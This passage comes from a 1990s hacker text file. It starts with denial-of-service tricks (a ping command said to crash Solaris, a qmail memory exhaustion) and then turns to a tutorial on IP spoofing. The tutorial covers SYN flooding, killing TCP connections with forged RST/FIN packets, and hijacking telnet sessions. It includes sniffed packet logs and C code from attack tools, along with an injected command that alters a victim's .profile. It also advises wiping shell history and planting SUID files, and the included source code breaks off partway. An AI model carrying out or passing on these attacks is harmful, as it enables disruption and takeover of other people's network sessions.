    that doesn't work just try something else. Hit enter and close the connection.

    The server will not now accept any TCP connections and the named-process may consume a lot of
    CPU time.

    ping -sv -i 127.0.0.1 224.0.0.1

    $ ping -sv -i 127.0.0.1 224.0.0.1

    Can cause Solaris to reboot or crash.

    qmail

    A machine running qmail can run out ouf memory if someone are sending SMTP commands of
    unlimited length.

    Two example programs can be found at address: http://www.student.tdb.uu.se/~t95hhu/programs/qmail.txt

    ___________________________________________________________________________

    IP Spoofing Information:

    -=[ A short overview of IP spoofing: PART I ]=-
    -=[ Part of 'The Packet Project']=-

    (Includes Source for Linux 1.3.X and later kernels)
    All text and Source code written by Brecht Claerhout (Copyright 1996)
    All source tested on Linux kernel 2.0.X
    All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
    -------------------------------------------------------------------------------

    PART I: Simple spoofing (Non blind)
    -----------------------------------

    0. Introduction
    0.1 What
    0.2 For whom
    0.3 Disclaimer
    0.4 Licence

    1. Short explanation of some words

    2. Description of sourcecode
    2.1 Source included
    2.2 Programmer notes

    3. TCP/IP (UDP) in an hazelnutshell

    4. Non-blind spoofing
    4.1 Know what you are doing
    4.2 SYN flooding
    4.3 Connection Killing
    4.3.1 Using reset (RST)
    4.3.2 Closing a connection (FIN)
    4.3.3 Improving
    4.4 Connection Hijacking
    4.5 Other

    5. The source code

    -------------------------------------------------------------------------------
    PART I: Simple spoofing (Non blind)
    ------------------------------------------------------------------------------

    0. Introduction
    ---------------

    0.1 What
    --------

    This document describes some IP spoofing attacks and gives you example
    source code of the programs used for these attacks (and packet sniffer
    logs, so you see what exactly happens).
    It also provides you with an easy to use include file for experimenting a
    little yourself.
    Oh, if you make something nice with the "spoofit.h" file, please mail it to me
    (or a reference where it is available) with a little explanation on what it
    is (a few lines are enough)...

    If you have interesting remarks, comment, idea's, ... please contact me
    Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt;
    PoBox 144
    9000 Gent 12
    Belgium

    If YOU think of yourself, you are "3&gt;&lt;Tr3/\/\3lY 3Le3T", please don't bother
    contacting me.
    Flames &gt;/dev/null or &gt;/dev/echo depends on how smart you are.

    It is not wise to use what you don't know/understand, so read this before
    trying anything... it will only take a few minutes, and probably save you
    some hours of failure...

    This code is not crippled in the usual way (removing some vital parts),
    the power is limited by it's briefness, because I wanted to keep
    everything simple and illustrative (but working). It's a simple job to
    improve it, and that is the goal of this doc, that you improve it yourself.

    Thanks too Wim Vandeputte for spellchecking, and putting up
    with my constant nagging about IP during the writing of this sh!t...

    0.2 For whom
    ------------

    For people with an elementary knowledge of TCP/IP, some knowledge on C (only
    the basic setup) and some general UNIX knowledge.
    It's no use reading this document if you are completely unaware of these
    things, but mind you, only a little knowledge is enough.

    0.3 Disclaimer
    --------------

    I am in no way responsible for the use of this code. By using this
    software and reading this document you accept the fact that any damage
    (emotional, physical, dataloss and the end of the world as we know it ...)
    caused by the use or storage of these programs/documents is not MY
    responsability.

    I state that during the writing and testing of this document/source, I
    never violated any law. All spoofing was done between machines where I had
    legit root access, or where I had the permission from the legit root.

    This code can be written by any competent programmer, so this source is
    not so harmfull as some will say (cauz' I'm sure some people won't like
    this degree of disclosure).

    0.4 Licence
    -----------

    All source code and text is freely available. You can spread it, as long
    as you don't charge for it (exceptions are a small reproduction fee, if
    it isn't spread together with commercial software, texts.)
    You may not spread parts of the document, it should be spread as one
    package. You may not modify the text and/or source code.

    You can use the spoofit.h or derived code in your own programs as long as
    they are not commercial (i.e. FREE), and you give me the credits for it.


    1. Short explanation of some words
    ----------------------------------

    This is a short explanation of some words you might see in the
    text/source. You probably know all this, but I put it in here anyway.

    Sniffit
    My favourite Packet Sniffer, all sniffed sequences in this
    document where created with it. Sniffit can be obtained from:
    http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
    Off course any other decent sniffer will do (but this one wears my
    personal marks and approval).
    (At time of writing a pre-release 0.3.2)

    IP-spoofing (further referenced to as spoofing)
    The forging of IP packets
    NOTE that not only IP based protocols are spoofed.
    NOTE that spoofing is also used on a constructive base (LAN spoofing,
    not discussed here).
    NOTE that I don't use it on a constructive base ;)

    Non-blind spoofing
    Using the spoofing to interfer with a connection that sends packets
    along your subnet (so generally one of the 2 hosts involved is located
    on your subnet, or all data traffic has to be passing your network
    device,... you might consider taking a job at some transatlantic route
    provider).

    Blind spoofing
    Using the spoofing to interfer with a connection (or creating one),
    that does not send packets along your cable.


    2. Description of sourcecode
    ----------------------------

    2.1 Source included
    -------------------
    spoofit.h
    The include file that provides some easy to use spoofing functions.
    To understand the include file and it's functions, read the header of
    that file for use of the C functions.

    *.c
    Example programs (on the use of spoofit.h) that are discussed in this
    document.
    Details on these programs are included in the appropriate sections.

    sniper-rst.c
    Basic TCP connection killer.
    (denial-of-services)

    sniper-fin.c
    Basic TCP connection killer.
    (denial-of-services)

    hijack.c
    Simple automated telnet connection hijacker.

    2.2 Programmer notes
    --------------------

    These programs are just examples. That means, they could be improved a
    lot. Because I wanted to keep them short and leave some stuff to your
    imagination, they are very simple.
    However they all work and are a good starting point.


    3. TCP/IP (UDP) in an hazelnutshell
    -----------------------------------

    Because it has been explained enough in 'Phrack Volume Seven, Issue
    Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
    documentation available on the subject I will only repeat some things
    very briefly. (Please read the phrack #48 file or any other document on
    the subject before reading this).

    A connection is fully defined with 4 parameters, a source host and port,
    and a destination host and port.

    When you make a connection, data is send in packets. Packets take care of
    low level trafic, and make sure the data arrives (sometimes with special
    error handling). The spine of most networks is the IP protocol version 4.
    It is totally independent of all hardware protocols.

    TCP and UDP are higher level protocols wrapped up in IP packets.

    All those packets consist of a header and data.

    IP header contains (amongst other things): IP of source and destination
    hosts for that packet, and the protocol type of the packet wrapped up in
    it. (TCP=6, UDP=17, etc.).

    UDP packets contain (amongst other things): port number of source and
    destination host. UDP has no such thing as SEQ/ACK, it is a very weak
    protocol.

    TCP packets contain (amongst other things): port number of source and
    destination host, sequence and acknowledge numbers (further refered to as
    SEQ/ACK), and a bunch of flags.
    SEQ number: is counted byte per byte, and gives you the number of the
    NEXT byte to be send, or that is send in this packet.
    ACK number: is the SEQ number that is expected from the other host.
    SEQ numbers are chosen at connection initiation.

    I said is was going to be short... If you didn't understand the above
    text, read up on it first, because you won't understand sh!t of the rest.


    4. Non-blind spoofing
    ---------------------

    4.1 Know what you are doing
    ---------------------------

    The concept of non-blind spoofing (NBS further in this doc) is pretty
    simple. Because packets travel within your reach, you can get the current
    sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
    connection.
    NBS is thus a very easy and accurate method of attack, but limited to
    connections going over your subnet.
    In spoofing documentation these attacks are sometimes ommited, because
    they are mostly 'denial-of-service' attacks, or because people don't
    realise the advantage a spoof (in particulary a hijack) can have above
    simple password sniffing.

    Spoofing in generally is refered to as a verry high level of attack. This
    refers to blind spoofing (BlS further in this doc), because NBS is
    kidstuff for a competent coder.

    4.2 SYN flooding
    ----------------

    Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
    18'. I won't waste much time on it.

    Setup:
    host A &lt;-----][----------X---------------&gt;host B
    |
    host S &lt;-----------------/

    Concept:
    Host S impersonates SYN (connection init) coming from host A, to host B.
    Host A should be unreachable (e.g. turned off, non existant,...).
    B sends out the second packet of the 3 way TCP handshake. Host B will now
    wait for response of host A.
    If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
    inititate a connection, and thus host B received a bogus packet. (In that case
    host B will ingnore the SYN, and *normally* nothing will happen)
    So if A is unreachable, B will wait for response some time.
    When doing multiple attacks, the backlog of host B is going to be exceeded
    and host B will not except new connections (read on TCP bugs for
    additional features ;) for some time.

    4.3 Connection Killing
    ----------------------

    Setup:
    host A &lt;------X-------------------------&gt;host B
    | A,B have a TCP connection running
    host S &lt;------/ A,S on same subnet

    (setup is the same in both cases)

    Use:
    Clearing mudders of your net, annoying that dude typing an important
    paper, etc... plain fun.

    4.3.1 Using reset (RST)
    -----------------------

    Concept:
    TCP packets have flags which indicate the status of the packet, like RST.
    That is a flag used to reset a connection. To be accepted, only the
    sequence number has to be correct (there is no ACK in a RST packet).
    So we are going to wait for packets in a connection between A and B.
    Assume we wait for packets to A. We will calculate (from B's packets)
    the sequence number for A's packets (from B's ACK's), and fire a bogus RST
    packet from S (faking to be A) to B.

    An actual attack:
    (These are real sniffed packets, although IP numbers of hosts were changed)
    host A : 166.66.66.1
    host B : 111.11.11.11
    (S on same subnet as A)

    (This is a good example of how things not always go as you want, see
    below for a solution)
    1) connection running...
    we wait for a packet to get current SEQ/ACK (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
    SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
    FLAGS: -AP--- Window: 3400
    (data removed because irrelevant, 2 bytes data)

    2) This is the ACK of it + included data (witch causes SEQ number to
    change, and thus messing up our scheme, because this came very fast.)
    (B-&gt;A)

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
    SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
    FLAGS: -AP--- Window: 2238
    (data removed because irrelevant, 2 bytes data)

    3) ACK of it. (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
    SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
    FLAGS: -A---- Window: 3400
    (data removed because irrelevant)

    4) further data (B-&gt;A)

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
    SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
    FLAGS: -AP--- Window: 2238
    (data removed because irrelevant)

    5) ACK of it (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
    SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
    FLAGS: -A---- Window: 3400

    6) Now we get 2 RST packets. How do you explain that? Well, the first reset
    packet has been buffered somewhere on our system, because the ethernet
    segment was busy when we wanted to send it. This is the 'unexpected
    thing' I discussed above, here we are lucky, the data stream cooled down
    so fast.
    When it doesn't cool down so fast, we could miss our RST (or the
    connection will be killed a little later then when we wanted), you'll see
    some idea's on how to fix that problem.

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
    SEQ (hex): B8BD7679 FLAGS: ---R--


    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
    SEQ (hex): B8BD7691 FLAGS: ---R--
    (This was the packet that killed the connection)

    Discussion of the program:

    The discussion here is a bit weird , that is because 'sniper-rst.c' is
    not designed to be an optimal killer, merly to be an example.
    We have the problem of speed here. We miss some packets what causes those
    resends. So we would design a better 'sniper' if we do the following:
    - use blocking IO (not necessarilly, because the RST killer would
    loose some of it's beauty (looping), this is dealt
    with in the FIN killer example. Blocking is a
    little faster when a lot of packets come after
    each other.)
    - multi-packet firing... fire more packets with incremented SEQ.
    (this is commented in the source)
    - waiting for a pure ACK packet (no data), because otherwise you
    risk to much of getting mid transmission and not being fast enough.
    (disadvantage is the 'waiting period' before the connection is
    killed)

    NOTE these examples were done on non-loaded networks, with non-loaded
    servers, what makes it a worst case scenario for speed problems.

    4.3.2 Closing a connection (FIN)
    --------------------------------

    Concept:
    An other flag is FIN and says: "no more data from sender".
    This flag is used when closing a connection down the normal legit way. So
    if there was a way to make a packet that is accepted by one of the two
    hosts, this host would believe the 'sender' didn't have any data left.
    Following (real) packets would be ignored as they are considered bogus.
    That's it, because we can sniff the current SEQ/ACK of the connection we
    can pretend to be either host A or B, and provide the other host with
    CORRECT packetinformation, and an evil FIN flag.
    The beauty of it all is, that after a FIN is send the other host always
    replies with one if it is accepted, so we have a way to verify our
    killing, and can be 100% sure of success (if for some reason we missed a
    SEQ or ACK, we can just resend).
    RST killing is more popular and is prefered, but I've put this in as an
    example, and I like it myself.


    An actual attack:
    (These are real sniffed packets, although IP numbers of hosts were changed)
    host A : 166.66.66.1
    host B : 111.11.11.11
    (S on same subnet as A)

    1) connection is running....
    sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
    and waits for a packet to take action (we need to get SEQ/ACK)
    (mind you switching host A and B would be the same, only S would be
    impersonating A instead of B)
    suddenly a packet arrives... (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    SEQ (hex): 19C6B98B ACK (hex): 69C5473E
    FLAGS: -AP--- Window: 3400
    Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
    9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E &gt;
    50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
    ~~~~~~~~~ &gt; 2 data bytes

    2) sniper detected it, and sends a bogus packet. (S as B -&gt; A)
    We calculate our SEQ as: ACK of (A-&gt;B) packet
    We calculate our ACK as: SEQ of (A-&gt;B) packet + datalength of that packet
    (19C6B98B + 2 = 19C6B98D)
    (so we tell A, we received the last packet, and will not transmit
    further data)

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
    SEQ (hex): 69C5473E ACK (hex): 19C6B98D
    FLAGS: -A---F Window: 7C00
    (data removed because irrelevant)

    3) host A now says: 'okay, you end the session, so here is my last data'
    (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    SEQ (hex): 19C6B98D ACK (hex): 69C5473E
    FLAGS: -AP--- Window: 3400
    (data removed because irrelevant)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    SEQ (hex): 19C6B998 ACK (hex): 69C5473F
    FLAGS: -A---- Window: 3400
    (data removed because irrelevant)

    4) host A now has flushed its buffer and on his turn FIN's the connection.
    (A-&gt;B)
    sniper, intercepts this packet and now knows the hosts fell for the
    spoof and the killing was a success!
    (host A will no longer accept any data)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    SEQ (hex): 19C6B998 ACK (hex): 69C5473F
    FLAGS: -A---F Window: 3400
    (data removed because irrelevant)

    5) We impersonated B, making A believe we had no further data. But B
    doesn't know that and continues to send packets.
    (B-&gt;A)
    host A has that connection closed, and thus thinks the real packets of
    B are spoofed (or at least bogus)! So host A sends some reset packets
    (RST).

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
    SEQ (hex): 69C5473E ACK (hex): 19C6B98D
    FLAGS: -A---- Window: 3750
    (data removed because irrelevant)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
    SEQ (hex): 19C6B98D FLAGS: ---R--
    (data removed because irrelevant)

    6) This goes on for a couple of packets.


    Discussion of the program (numbers correspond with those of 'An Actual
    Attack'):

    1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
    if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}

    We use wait_packet on a non blocking socket. This way we can enable a
    10 seconds timeout. This functions returns when the correct packet
    has been delivered (or timeout).

    2) sp_seq=pinfo.ack;
    sp_ack=pinfo.seq+pinfo.datalen;
    transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
    sp_seq,sp_ack,ACK|FIN);

    We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
    don't send any data with it, our buffer is set to NULL and datalength
    to 0.
    NOTE together with FIN, you need to enable ACK.

    3) N/A

    4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
    if(stat&gt;=0)
    {printf("Killed the connection...\n");
    exit(0);}

    We wait for a FIN packet (note the FIN in wait_packet). We use a 5
    sec. timeout, if the function returns and stat&gt;=0 (-1 on timeout), we
    know our attempt was successfull.

    5) N/A

    6) N/A

    NOTE We can have the same problem here as with the RST killer. But didn't
    have it here, because the packet we responded upon was the end of a
    data stream (in fact it was an echo from a shell command)

    4.3.3 Improving
    ---------------

    Except from multipacket firing, it is advised to launch 2 attacks (one in
    both ways). This illiminates one side oriented connections to be handled
    optimally. I think of things like downloading data, which is a one way
    data-flow, it is much easier sending a RST from the (spoofed) receiver to
    the sender, then the other way around.
    Those 2 attacks could both impersonate host A and B, and thus giving is 4
    times more chance of a succesfull kill.
    I'll leave further experimenting up to you (use your imagination to handle
    different situations).

    4.4 Connection Hijacking
    ------------------------
    Setup:
    host A &lt;------X-------------------------&gt;host B
    | A,B have a TCP connection running (TELNET)
    host S &lt;------/ A,S on same subnet

    Concept:
    (suppose a TELNET from A (client) to B (server))
    TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
    trusts the packets from A because of its correct SEQ/ACK numbers.
    So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
    real packets.
    We could then impersonate to be A, but using correct SEQ/ACK numbers
    (that is numbers correct for B).
    We would now have taken over the connection (host A is confused, B thinks
    nothings wrong (almost correct, see 'actual attack'), and S sends
    'correct' data to B).
    This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
    but same could be done woth FTP, RLOGIN, etc...)
    How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
    packet into the stream at the right time (S as A-&gt;B), the server B would
    accept this data, and update ACK numbers, A would continue to send
    it's old SEQ numbers, as it's unaware of our spoofed data.

    Use:
    I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
    if you can sniff those packets anyway??"
    Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
    (S/Key: server challenges client, client and server calculate a code from
    the challenge and password, and compare that code. The password itself is
    never send on the cable, so you can't sniff sh!t).
    (OTP: server has a list of passwords, once one is used, it is destroyed,
    so sniffing gets you a password that has 'just' expired ;)
    (ALL types of identification that happen at connection (encrypted or not,
    trusted or not), and don't use encrypted data transfer, are vulnerable to
    'hijacking'.)

    An actual attack:
    (These are real sniffed packets, although IP numbers of hosts were changed)
    (suppose a TELNET from A (client) to B (server))
    host A : 166.66.66.1
    host B : 111.11.11.11
    (S on same subnet as A)

    1) connection running...
    we look with sniffit, and see he's busy in a shell, we start 'hijack'
    on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
    a packet containing from (A-&gt;B) is detected... hijack takes action...
    (A-&gt;B)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    SEQ (hex): 5C8223EA ACK (hex): C34A67F6
    FLAGS: -AP--- Window: 7C00
    Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
    9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
    50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
    ~~~~

    2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
    (you gotta know what you are doing)
    (B-&gt;A)

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
    FLAGS: -AP--- Window: 2238
    Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
    9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
    50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
    ~~~~

    3) A simple ACK from host A to B responding to that echo. Because we know
    this can come, and we know a simple ACK doesn't contain data, we don't
    need this for SEQ/ACK calculation.

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    SEQ (hex): 5C8223EB ACK (hex): C34A67F7
    FLAGS: -A---- Window: 7C00
    (data removed because irrelevant)

    4) Now we impersonate further data (following packet 1). (S as A -&gt; B)
    We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
    because we have to be as fast as possible, and packet 2 could be slow.
    We send some backspaces and some enters. To clean up the command line.
    We will probably still get some error message back from the shell.
    But we handle that too! (see sourcecode)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    SEQ (hex): 5C8223EB ACK (hex): C34A67F6
    FLAGS: -AP--- Window: 7C00
    Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
    9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
    50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
    0A . 0A .

    5) This is the echo of our spoofed data. Look at ACK. (B-&gt;A)
    5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
    success)
    NOTE that at this point the connection is ours, and A's SEQ/ACK
    numbers are completely f#cked up according to B.

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
    FLAGS: -AP--- Window: 2238
    Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    45 E 00 . 00 . 3C &lt; B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
    9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
    50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
    5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .

    6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
    the data we want to be executed.
    NOTE each time a packet 'out of numbering' arrives the host should
    answer with correct SEQ/ACK, this provides us with the certainty
    that a lot of packets are going to be send with correct (and not
    changing) SEQ/ACK nrs. (this is where the mechanism of getting our
    numbers back straight is based upon)
    NOTE it's at this point the real TELNET client's session hangs, most
    people ignore this and re-login after a few secs, accepting the
    accident as Murphy's law.
    (Well it *can* happen without any spoofing involved)

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    SEQ (hex): 5C8223EB ACK (hex): C34A67F7
    FLAGS: -AP--- Window: 7C00
    (data removed because irrelevant)


    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    SEQ (hex): C34A680B ACK (hex): 5C8223F5
    FLAGS: -A---- Window: 2238
    (data removed because irrelevant)


    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
    SEQ (hex): 5C8223EB ACK (hex): C34A67F7
    FLAGS: -AP--- Window: 7C00
    (data removed because irrelevant)


    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    SEQ (hex): C34A680B ACK (hex): 5C8223F5
    FLAGS: -A---- Window: 2238
    (data removed because irrelevant)

    7) We are back on track (or at least hijack is, because this is going
    very fast). And we fire off our faked bash command.

    echo "echo HACKED" &gt;&gt; $HOME/.profile&lt;ENTER&gt;

    TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
    SEQ (hex): 5C8223F5 ACK (hex): C34A680B
    FLAGS: -AP--- Window: 7C00
    Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
    45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
    9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
    50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
    68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E &gt; 3E &gt; 24 $ 48 H 4F O
    4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .

    8) now we wait for this data to be confirmed.
    ACK = 5C8223F5 + 025 (=37 bytes)

    TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
    SEQ (hex): C34A680B ACK (hex): 5C82241A
    FLAGS: -AP--- Window: 2238
    Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
    (data removed because irrelevant)

    9) The connection runs on. Now you can execute more commands (just stay
    on track of SEQ/ACK), and even finnish the connection (with the same
    mechanism of sniper, or with sniper itself... here FIN is recommended).
    NOTE: here it is important to be in a shell. But if you have been
    watching someone, and you notice he's always directly going to
    'pine' and you can't get inbetween on time.
    NO PROBS.... just make a cleanup string that cleans up
    'pine' and puts you back in the shell. (some control chars,
    hotkeys, whatever....)
    NOTE: if you clean up the .sh_history of .bash_history (whatever) this
    attack is one of the nicest there is. Another advantage above
    sniffing.
    NOTE: Noone says you have to make a .rhosts file (rlogin and
    family might be disabled), you can change permissions, put
    stuff SUID, put it public, install stuff, mail, etc..

    Discussion of the program (numbers correspond with those of 'An Actual
    Attack'):

    1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);

    Waiting for actual data (PSH is always used for packets containing
    data in interactive services like TELNET)

    2) N/A

    3) N/A

    4) sp_seq=attack_info.seq+attack_info.datalen;
    sp_ack=attack_info.ack;
    transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
    23,sp_seq,sp_ack,ACK|PSH);

    We recalculate the sequence number (using SEQ and datalength of packet 1)
    an we send a spoofed packet with ACK and PSH flag, containing the
    cleanup data in to_data.

    5) while(count&lt;5)
    {
    wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
    if(attack_info.ack==sp_seq+sizeof(to_data))
    count=PERSONAL_TOUCH;
    else count++;
    };

    We wait for a confirmation that our spoofed sequence is accepted. We
    expect a packet with an ACK set (PSH or not). It should come within 5
    packets, we use this limit, because we should be able to handle some
    previous ACK packets!
    NOTE we don't check SEQ nrs, because we have no clue of what they are
    going to be (data might have been send our way, or not).

    6) while(count&lt;10)
    {
    old_seq=serv_seq;
    old_ack=serv_ack;
    wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
    ACK,0);
    if(attack_info.datalen==0)
    {
    serv_seq=attack_info.seq+attack_info.datalen;
    serv_ack=attack_info.ack;
    if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
    count=PERSONAL_TOUCH;
    else count++;
    }
    };

    To get back on track, we try to receive 2 ACK packets without data
    with the same SEQ/ACK. We know enough packets will be send as a
    response to incorrect packets from the confused host A.
    This is how we get back on track.
    NOTE In a case where A completely gave up, simple spoof a packet with
    incorrect SEQ/ACK to get the correct numbers back.

    7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
    SERVER,23,serv_ack,serv_seq,ACK|PSH);

    Pretty clear....

    8) while(count&lt;5)
    {
    wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
    if(attack_info.ack==serv_ack+sizeof(evil_data))
    count=PERSONAL_TOUCH;
    else count++;
    };

    and again waiting for confirmation.

    NOTE after the above attack, hijack had produced the following output:

    Starting Hijacking demo - Brecht Claerhout 1996
    -----------------------------------------------

    Takeover phase 1: Stealing connection.
    Sending Spoofed clean-up data...
    Waiting for spoof to be confirmed...
    Phase 1 ended.

    Takeover phase 2: Getting on track with SEQ/ACK's again
    Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
    Phase 2 ended.

    Takeover phase 3: Sending MY data.
    Sending evil data.
    Waiting for evil data to be confirmed...
    Phase 3 ended.

    4.5 Other
    ---------

    This list is far from complete, I'm sure you can think of other nice things
    to do with this information, think, experiment and code!


    5. The source code
    ------------------

    ---=[ spoofit.h ]=------------------------------------------------------------
    /**************************************************************************/
    /* Spoofit.h - Include file for easy creating of spoofed TCP packets */
    /* Requires LINUX 1.3.x (or later) Kernel */
    /* (illustration for 'A short overview of IP spoofing') */
    /* V.1 - Copyright 1996 - Brecht Claerhout */
    /* */
    /* Purpose - Providing skilled people with a easy to use spoofing source */
    /* I used it to be able to write my tools fast and short. */
    /* Mind you this is only illustrative and can be easily */
    /* optimised. */
    /* */
    /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
    /* Serious advice, comments, statements, greets, always welcome */
    /* flames, moronic 3l33t &gt;/dev/null */
    /* */
    /* Disclaimer - This file is for educational purposes only. I am in */
    /* NO way responsible for what you do with this file, */
    /* or any damage you or this file causes. */
    /* */
    /* For whom - People with a little knowledge of TCP/IP, C source code */
    /* and general UNIX. Otherwise, please keep your hands of, */
    /* and catch up on those things first. */
    /* */
    /* Limited to - Linux 1.3.X or higher. */
    /* If you know a little about your OS, shouldn't be to hard */
    /* to port. */
    /* */
    /* Important note - You might have noticed I use non standard packet */
    /* header struct's. How come?? Because I started like */
    /* that on Sniffit because I wanted to do the */
    /* bittransforms myself. */
    /* Well I got so damned used to them, I keep using them, */
